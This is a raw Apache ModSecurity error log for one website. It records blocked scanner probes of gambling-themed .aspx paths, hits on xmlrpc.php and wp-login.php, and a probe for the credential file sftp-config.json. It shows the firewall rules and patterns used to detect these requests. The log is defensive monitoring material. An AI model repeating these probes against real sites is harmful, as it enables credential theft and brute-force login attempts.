[Wed Feb 18 15:33:31.779343 2026] [:error] [pid 57014:tid 57039] [client 54.37.252.192:51382] [client 54.37.252.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20demo.aspx"] [unique_id "aZVrSxNZnhS5qKtVIMLSxAAAARY"]
[Wed Feb 18 15:33:33.783919 2026] [:error] [pid 21961:tid 21977] [client 54.37.252.192:51388] [client 54.37.252.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20free.aspx"] [unique_id "aZVrTcUBDt_-H0ms3gVJAwAAAM4"]
[Wed Feb 18 15:33:35.713772 2026] [:error] [pid 21961:tid 21964] [client 54.37.252.192:51392] [client 54.37.252.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20game%20666.aspx"] [unique_id "aZVrT8UBDt_-H0ms3gVJBwAAAME"]
[Wed Feb 18 15:33:37.748671 2026] [:error] [pid 21848:tid 21912] [client 54.37.252.192:51394] [client 54.37.252.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20joker.aspx"] [unique_id "aZVrUfbG91VRkVidT5ftCgAAAFc"]
[Wed Feb 18 15:33:39.776675 2026] [:error] [pid 21847:tid 21877] [client 54.37.252.192:51396] [client 54.37.252.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20online.aspx"] [unique_id "aZVrU_y9A5wy4LuXmJ3HyAAAABM"]
[Wed Feb 18 15:33:41.686296 2026] [:error] [pid 21847:tid 21876] [client 54.37.252.192:42724] [client 54.37.252.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20pg%20soft.aspx"] [unique_id "aZVrVfy9A5wy4LuXmJ3HygAAABI"]
[Wed Feb 18 15:33:43.580770 2026] [:error] [pid 57014:tid 57018] [client 54.37.252.192:42726] [client 54.37.252.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20pg%20vip.aspx"] [unique_id "aZVrVxNZnhS5qKtVIMLS2AAAAQE"]
[Wed Feb 18 15:33:45.607026 2026] [:error] [pid 21961:tid 21965] [client 54.37.252.192:42730] [client 54.37.252.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20pg%20wallet.aspx"] [unique_id "aZVrWcUBDt_-H0ms3gVJEQAAAMI"]
[Wed Feb 18 15:33:47.474621 2026] [:error] [pid 21847:tid 21862] [client 54.37.252.192:42746] [client 54.37.252.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20super%20wallet.aspx"] [unique_id "aZVrW_y9A5wy4LuXmJ3H1wAAAAQ"]
[Wed Feb 18 15:33:49.288804 2026] [:error] [pid 21849:tid 21923] [client 54.37.252.192:42756] [client 54.37.252.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20true%20wallet.aspx"] [unique_id "aZVrXbx9a1XrfTYnuzIwdgAAAIc"]
[Wed Feb 18 15:33:51.170123 2026] [:error] [pid 21961:tid 21966] [client 54.37.252.192:42764] [client 54.37.252.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "aZVrX8UBDt_-H0ms3gVJIQAAAMM"]
[Wed Feb 18 15:33:53.197375 2026] [:error] [pid 21961:tid 21984] [client 54.37.252.192:39944] [client 54.37.252.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "aZVrYcUBDt_-H0ms3gVJKAAAANU"]
[Wed Feb 18 15:33:55.305879 2026] [:error] [pid 21961:tid 21966] [client 54.37.252.192:39952] [client 54.37.252.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20wallet.aspx"] [unique_id "aZVrY8UBDt_-H0ms3gVJLQAAAMM"]
[Wed Feb 18 15:33:57.254130 2026] [:error] [pid 21849:tid 21929] [client 54.37.252.192:39968] [client 54.37.252.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot1234%20pg.aspx"] [unique_id "aZVrZbx9a1XrfTYnuzIwgQAAAI0"]
[Wed Feb 18 15:33:59.209025 2026] [:error] [pid 21848:tid 21891] [client 54.37.252.192:39984] [client 54.37.252.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slotxo%20wallet.aspx"] [unique_id "aZVrZ_bG91VRkVidT5ftHAAAAEI"]
[Wed Feb 18 15:34:01.189408 2026] [:error] [pid 21961:tid 21978] [client 54.37.252.192:39992] [client 54.37.252.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/spg%20slot.aspx"] [unique_id "aZVracUBDt_-H0ms3gVJPAAAAM8"]
[Wed Feb 18 15:34:03.070037 2026] [:error] [pid 21848:tid 21896] [client 54.37.252.192:34306] [client 54.37.252.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/spx%20slot.aspx"] [unique_id "aZVra_bG91VRkVidT5ftKwAAAEc"]
[Wed Feb 18 15:34:04.962427 2026] [:error] [pid 21849:tid 21916] [client 54.37.252.192:34314] [client 54.37.252.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/super%20pg%201688.aspx"] [unique_id "aZVrbLx9a1XrfTYnuzIwjwAAAIA"]
[Wed Feb 18 15:34:06.917932 2026] [:error] [pid 57014:tid 57029] [client 54.37.252.192:34328] [client 54.37.252.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/super%20slot.aspx"] [unique_id "aZVrbhNZnhS5qKtVIMLS5wAAAQw"]
[Wed Feb 18 15:34:08.807594 2026] [:error] [pid 21961:tid 21967] [client 54.37.252.192:34330] [client 54.37.252.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "aZVrcMUBDt_-H0ms3gVJVAAAAMQ"]
[Wed Feb 18 15:34:10.694216 2026] [:error] [pid 5561:tid 5569] [client 54.37.252.192:34344] [client 54.37.252.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20vip.aspx"] [unique_id "aZVrckoQssCZYQ4NexaWBwAAAUU"]
[Wed Feb 18 15:34:12.749254 2026] [:error] [pid 21849:tid 21924] [client 54.37.252.192:51524] [client 54.37.252.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "aZVrdLx9a1XrfTYnuzIwmQAAAIg"]
[Wed Feb 18 15:34:48.570549 2026] [:error] [pid 21847:tid 21878] [client 54.37.252.192:51530] [client 54.37.252.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%207777.aspx"] [unique_id "aZVrmPy9A5wy4LuXmJ3ITwAAABQ"]
[Wed Feb 18 15:34:50.562638 2026] [:error] [pid 21847:tid 21865] [client 54.37.252.192:49008] [client 54.37.252.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "aZVrmvy9A5wy4LuXmJ3IVwAAAAc"]
[Wed Feb 18 15:34:52.486637 2026] [:error] [pid 21847:tid 21872] [client 54.37.252.192:50666] [client 54.37.252.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20auto.aspx"] [unique_id "aZVrnPy9A5wy4LuXmJ3IXAAAAA4"]
[Wed Feb 18 15:34:54.369709 2026] [:error] [pid 57014:tid 57023] [client 54.37.252.192:50676] [client 54.37.252.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20net.aspx"] [unique_id "aZVrnhNZnhS5qKtVIMLUGAAAAQY"]
[Wed Feb 18 15:34:56.286795 2026] [:error] [pid 21961:tid 21981] [client 54.37.252.192:50682] [client 54.37.252.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "aZVroMUBDt_-H0ms3gVJrwAAANI"]
[Wed Feb 18 15:34:58.200382 2026] [:error] [pid 57014:tid 57033] [client 54.37.252.192:50692] [client 54.37.252.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20wallet.aspx"] [unique_id "aZVrohNZnhS5qKtVIMLUHAAAARA"]
[Wed Feb 18 15:35:00.116442 2026] [:error] [pid 21848:tid 21898] [client 54.37.252.192:50700] [client 54.37.252.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/w69%20slot.aspx"] [unique_id "aZVrpPbG91VRkVidT5fuIAAAAEk"]
[Wed Feb 18 15:35:02.014439 2026] [:error] [pid 5561:tid 5568] [client 54.37.252.192:57208] [client 54.37.252.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wallet%20slot.aspx"] [unique_id "aZVrpkoQssCZYQ4NexaWsQAAAUQ"]
[Wed Feb 18 15:35:03.928889 2026] [:error] [pid 21847:tid 21871] [client 54.37.252.192:57212] [client 54.37.252.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/we88%20slot.aspx"] [unique_id "aZVrp_y9A5wy4LuXmJ3IYwAAAA0"]
[Wed Feb 18 15:35:05.831129 2026] [:error] [pid 21847:tid 21880] [client 54.37.252.192:57226] [client 54.37.252.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/www%20ufabet%20com.aspx"] [unique_id "aZVrqfy9A5wy4LuXmJ3IZwAAABY"]
[Wed Feb 18 15:35:07.733992 2026] [:error] [pid 57014:tid 57025] [client 54.37.252.192:57236] [client 54.37.252.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xo%20slot.aspx"] [unique_id "aZVrqxNZnhS5qKtVIMLUKQAAAQg"]
[Wed Feb 18 15:35:09.649856 2026] [:error] [pid 21849:tid 21923] [client 54.37.252.192:57246] [client 54.37.252.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/yakuza%20slot.aspx"] [unique_id "aZVrrbx9a1XrfTYnuzIw5AAAAIc"]
[Wed Feb 18 15:58:05.431424 2026] [:error] [pid 21961:tid 21967] [client 122.51.236.174:33186] [client 122.51.236.174] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aZVxDcUBDt_-H0ms3gVU6QAAAMQ"]
[Wed Feb 18 21:56:44.762557 2026] [:error] [pid 11548:tid 11598] [client 159.65.87.245:51362] [client 159.65.87.245] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 159.65.87.245, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aZXFHDSFZiBIZZvmIlMfnwAAAhQ"]
[Wed Feb 18 22:22:28.407152 2026] [:error] [pid 11512:tid 11522] [client 106.119.167.146:50213] [client 106.119.167.146] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aZXLJBGamu0xQuQ-jbFnkAAAAYU"]
[Wed Feb 18 23:42:32.650681 2026] [:error] [pid 11609:tid 11652] [client 37.187.145.142:36460] [client 37.187.145.142] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 37.187.145.142, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aZXd6Mhm3UjgaKO2Na9OpAAAAok"]
[Wed Feb 18 23:42:34.567382 2026] [:error] [pid 11609:tid 11645] [client 37.187.145.142:36460] [client 37.187.145.142] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 37.187.145.142, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aZXd6shm3UjgaKO2Na9OqAAAAoI"], referer: https://gigfragments.org/wp-login.php
[Thu Feb 19 02:14:10.317462 2026] [:error] [pid 11611:tid 11717] [client 3.101.120.148:38724] [client 3.101.120.148] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 3.101.120.148, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aZYBcu2m6IPN_aBZuKakUwAAAxM"]
[Thu Feb 19 02:14:12.026558 2026] [:error] [pid 11611:tid 11711] [client 3.101.120.148:38724] [client 3.101.120.148] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 3.101.120.148, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aZYBdO2m6IPN_aBZuKakVgAAAw0"], referer: https://gigfragments.org/wp-login.php
[Thu Feb 19 02:15:06.879649 2026] [:error] [pid 57014:tid 57033] [client 103.65.236.149:54719] [client 103.65.236.149] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/sftp-config.json" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/sftp-config.json"] [unique_id "aZYBqhNZnhS5qKtVIMJlBQAAARA"]
[Thu Feb 19 04:12:47.383956 2026] [:error] [pid 48901:tid 48929] [client 132.148.180.216:58208] [client 132.148.180.216] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 132.148.180.216, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aZYdP8ixYz-lHbN0WBKnbQAAABM"]
[Thu Feb 19 04:49:58.709448 2026] [:error] [pid 48903:tid 48984] [client 223.244.35.77:40323] [client 223.244.35.77] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aZYl9o6aTgKrpAR115v0xAAAAJM"]
[Thu Feb 19 06:10:53.481546 2026] [:error] [pid 24048:tid 24057] [client 54.37.254.160:33148] [client 54.37.254.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/auto%20slot.aspx"] [unique_id "aZY47Wug6wHHqU0QyDbR4AAAAUc"]
[Thu Feb 19 06:10:55.618434 2026] [:error] [pid 24048:tid 24056] [client 54.37.254.160:44930] [client 54.37.254.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20casino.aspx"] [unique_id "aZY472ug6wHHqU0QyDbR5AAAAUY"]
[Thu Feb 19 06:10:58.158353 2026] [:error] [pid 24048:tid 24054] [client 54.37.254.160:47056] [client 54.37.254.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20co.aspx"] [unique_id "aZY48mug6wHHqU0QyDbR8gAAAUQ"]
[Thu Feb 19 06:11:00.245336 2026] [:error] [pid 24048:tid 24065] [client 54.37.254.160:47058] [client 54.37.254.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20dc.aspx"] [unique_id "aZY49Gug6wHHqU0QyDbR-gAAAU8"]
[Thu Feb 19 06:11:02.444872 2026] [:error] [pid 49002:tid 49030] [client 54.37.254.160:47060] [client 54.37.254.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20original.aspx"] [unique_id "aZY49lfcBtQ6hSJuEQmP9AAAANA"]
[Thu Feb 19 06:11:04.518669 2026] [:error] [pid 15513:tid 15526] [client 54.37.254.160:47072] [client 54.37.254.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20slot.aspx"] [unique_id "aZY4-MGTRTE022JWg1-kGgAAAQs"]
[Thu Feb 19 06:11:06.713659 2026] [:error] [pid 48902:tid 48942] [client 54.37.254.160:47086] [client 54.37.254.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20thailand.aspx"] [unique_id "aZY4-mcJ-6aYRpRRFsVMCAAAAEQ"]
[Thu Feb 19 06:11:08.590657 2026] [:error] [pid 48901:tid 48910] [client 54.37.254.160:49610] [client 54.37.254.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20auto.aspx"] [unique_id "aZY4_MixYz-lHbN0WBLJIAAAAAA"]
[Thu Feb 19 06:11:10.700317 2026] [:error] [pid 48903:tid 48975] [client 54.37.254.160:49612] [client 54.37.254.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20casino.aspx"] [unique_id "aZY4_o6aTgKrpAR115sNBAAAAIo"]
[Thu Feb 19 06:11:13.021652 2026] [:error] [pid 48901:tid 48913] [client 54.37.254.160:49626] [client 54.37.254.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20co.aspx"] [unique_id "aZY5AcixYz-lHbN0WBLJKQAAAAM"]
